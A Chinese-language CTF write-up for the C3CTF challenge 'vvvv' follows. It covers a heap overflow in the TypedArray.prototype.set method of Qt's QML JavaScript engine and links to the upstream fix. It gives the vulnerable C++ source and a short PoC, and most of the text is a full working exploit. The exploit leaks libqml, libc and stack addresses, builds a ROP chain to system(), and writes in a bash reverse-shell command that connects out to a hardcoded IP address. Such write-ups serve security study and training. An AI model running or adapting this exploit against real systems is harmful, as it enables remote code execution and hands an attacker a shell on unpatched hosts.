按照之前的惯例,每年最后一天写下C3CTF的writeup,今年搞定了一个题目vvvv,这是关于Qt的JS引擎的题目
这个ZAJ分类感觉是需要让我们找0day?我通过代码审计找到了两个堆溢出漏洞,其中有一个是可利用的,然后比较幸运地拿到了FirstBlood
我找到的漏洞是在TypedArray
中,如下所示
ReturnedValue IntrinsicTypedArrayPrototype::method_set(const FunctionObject *b, const Value *thisObject, const Value *argv, int argc)
{
Scope scope(b);
Scoped<TypedArray> a(scope, *thisObject);
if (!a)
return scope.engine->throwTypeError();
Scoped<ArrayBuffer> buffer(scope, a->d()->buffer);
double doffset = argc >= 2 ? argv[1].toInteger() : 0;
if (scope.engine->hasException)
RETURN_UNDEFINED();
if (!buffer || buffer->isDetachedBuffer())
return scope.engine->throwTypeError();
if (doffset < 0 || doffset >= UINT_MAX)
RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range")));
uint offset = (uint)doffset;
uint elementSize = a->d()->type->bytesPerElement;
Scoped<TypedArray> srcTypedArray(scope, argv[0]);
if (!srcTypedArray) {
// src is a regular object
ScopedObject o(scope, argv[0].toObject(scope.engine));
if (scope.engine->hasException || !o)
return scope.engine->throwTypeError();
double len = ScopedValue(scope, o->get(scope.engine->id_length()))->toNumber();
uint l = (uint)len;
if (scope.engine->hasException || l != len)
return scope.engine->throwTypeError();
if (offset + l > a->length())
RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range")));
uint idx = 0;
if (buffer->isDetachedBuffer())
return scope.engine->throwTypeError();
char *b = buffer->d()->data->data() + a->d()->byteOffset + offset*elementSize;
ScopedValue val(scope);
while (idx < l) {
val = o->get(idx);
if (scope.hasException())
return Encode::undefined();
val = val->convertedToNumber();
if (scope.hasException() || buffer->isDetachedBuffer())
return scope.engine->throwTypeError();
a->d()->type->write(b, val);
if (scope.engine->hasException)
RETURN_UNDEFINED();
++idx;
b += elementSize;
}
RETURN_UNDEFINED();
}
...
}
PoC如下
var a = new Array(0xffffffff);
var b = new Uint32Array(0x100);
b.set(a, 0x10);
漏洞报告给官方后已经修复https://code.qt.io/cgit/qt/qtdeclarative.git/commit/?id=2d566bb65def5b759bb4d93d767c4377bc6c5e0a,full exploit如下
var a = new Array(0xffffffff);
var c = new Uint32Array(0x400);
var b = new Array(0x1000);
var d = new Array(0x1000);
for (var i = 0; i < b.length; i++) {
d[i] = new ArrayBuffer(0x1000+i);
b[i] = new Uint8Array(d[i]);
b[i][0] = 0x11;
b[i][1] = 0x22;
b[i][2] = 0x33;
b[i][3] = 0x44;
}
a[0x3f6] = 0x1;
a[0x3f7] = 0xffffffff; // size
a[0x3f8] = 0xffffffff;
a[0x3f9] = 0x6666;
a[0x3fa] = 0x18; // offset_low
a[0x3fb] = 0x0; // offset_high
a[0x3fc] = 0x55555555;
a[0x3fd] = {
valueOf: function() {
function write64(arr, idx, val) {
for (var i = 0; i < 8; i++) {
arr[idx+i] = val & 0xff;
val /= 0x100;
}
}
function read64(arr, idx) {
val = 0
for (var i = 7; i >= 0; i--) {
val = val * 0x100 + arr[idx+i]
}
return val;
}
var A, B, B_offset;
for (var i = 0; i < b.length; i++) {
if (b[i][0] == 0x55 && b[i][1] == 0x55 && b[i][2] == 0x55 && b[i][3] == 0x55) {
print(i);
A = new Uint8Array(d[i]);
break;
}
}
for (var i = 0; i < 0x10000; i += 8) {
if (A[i] == 0x1 && A[i+0x10] == 0x18 && A[i+0x18] == 0x11 && A[i+0x19] == 0x22 && A[i+0x1a] == 0x33 && A[i+0x1b] == 0x44) {
print(i.toString(16));
B_offset = i + 0x10;
A[i+0x4] = 0xff;
A[i+0x5] = 0xff;
A[i+0x6] = 0xff;
A[i+0x7] = 0xff;
A[i+0x18] = 0x66;
A[i+0x19] = 0x66;
A[i+0x1a] = 0x66;
A[i+0x1b] = 0x67;
break;
}
}
for (var i = 0; i < b.length; i++) {
if (b[i][0] == 0x66 && b[i][1] == 0x66 && b[i][2] == 0x66 && b[i][3] == 0x67) {
print(i);
cmd = "bash -c 'bash&>/dev/tcp/39.100.97.31/66667<&1';";
for (var j = 0; j < cmd.length; j++) {
b[i][j] = cmd.charCodeAt(j);
}
B_idx = i;
B = new Uint8Array(d[i]);
break;
}
}
write64(A, B_offset, 0xffffffffffff0000);
B.subarray(0, 1);
var heap_to_js_heap_offset, vtable, libqml_base;
for (var i = 0; i < 0x10000; i += 8) {
if (B[i+1] == 0x4 && B[i+0x10-8] == 0xc0 && B[i+0x15-8] == 0x7f && B[i+0x61] == 0x4) {
vtable = read64(B, i+8);
libqml_base = vtable - 0x51f4c0;
print('libqml_base: ' + libqml_base.toString(16));
break;
}
}
var self_addr;
write64(A, B_offset, 0xffffffffffff0000-0x2000);
for (var i = 0; i < 0x10000; i += 8) {
if (read64(B, i) == 0x0000000000000000 && read64(B, i+0x10) == 0x0000001200000001 &&
read64(B, i+0x18) == 0x0005000400000020) {
self_addr = read64(B, i+0x40) + 0x12000 - i
print('self_addr: ' + self_addr.toString(16));
break;
}
}
write64(A, B_offset, libqml_base + 0x51c998 - self_addr);
var memmove = read64(B, 0);
print('memmove: ' + memmove.toString(16));
var temp, libc_base;
for (var i = 0; i < 0x40000; i++) {
write64(A, B_offset, memmove - i * 8 - self_addr);
temp = read64(B, 0);
if (temp == 0x03010102464c457f) {
libc_base = memmove - i * 8;
break;
}
}
print('libc_base: ' + libc_base.toString(16));
write64(A, B_offset, libc_base + 0x1c5d00 - self_addr);
var stack_addr = read64(B, 0);
print('stack_addr: ' + stack_addr.toString(16));
var system = libc_base + 0x491c0;
var pop_rdi = libc_base + 0x2762d;
var ret_addr = stack_addr - 0x9c0;
write64(A, B_offset, ret_addr - self_addr);
write64(B, 0, pop_rdi);
write64(A, B_offset, ret_addr + 8 - self_addr);
write64(B, 0, self_addr+0x18);
write64(A, B_offset, ret_addr + 0x10 - self_addr);
write64(B, 0, self_addr+0x18);
write64(A, B_offset, ret_addr + 0x18 - self_addr);
write64(B, 0, system);
return 0xdeadbeef;
}
};
c.set(a, 0x10);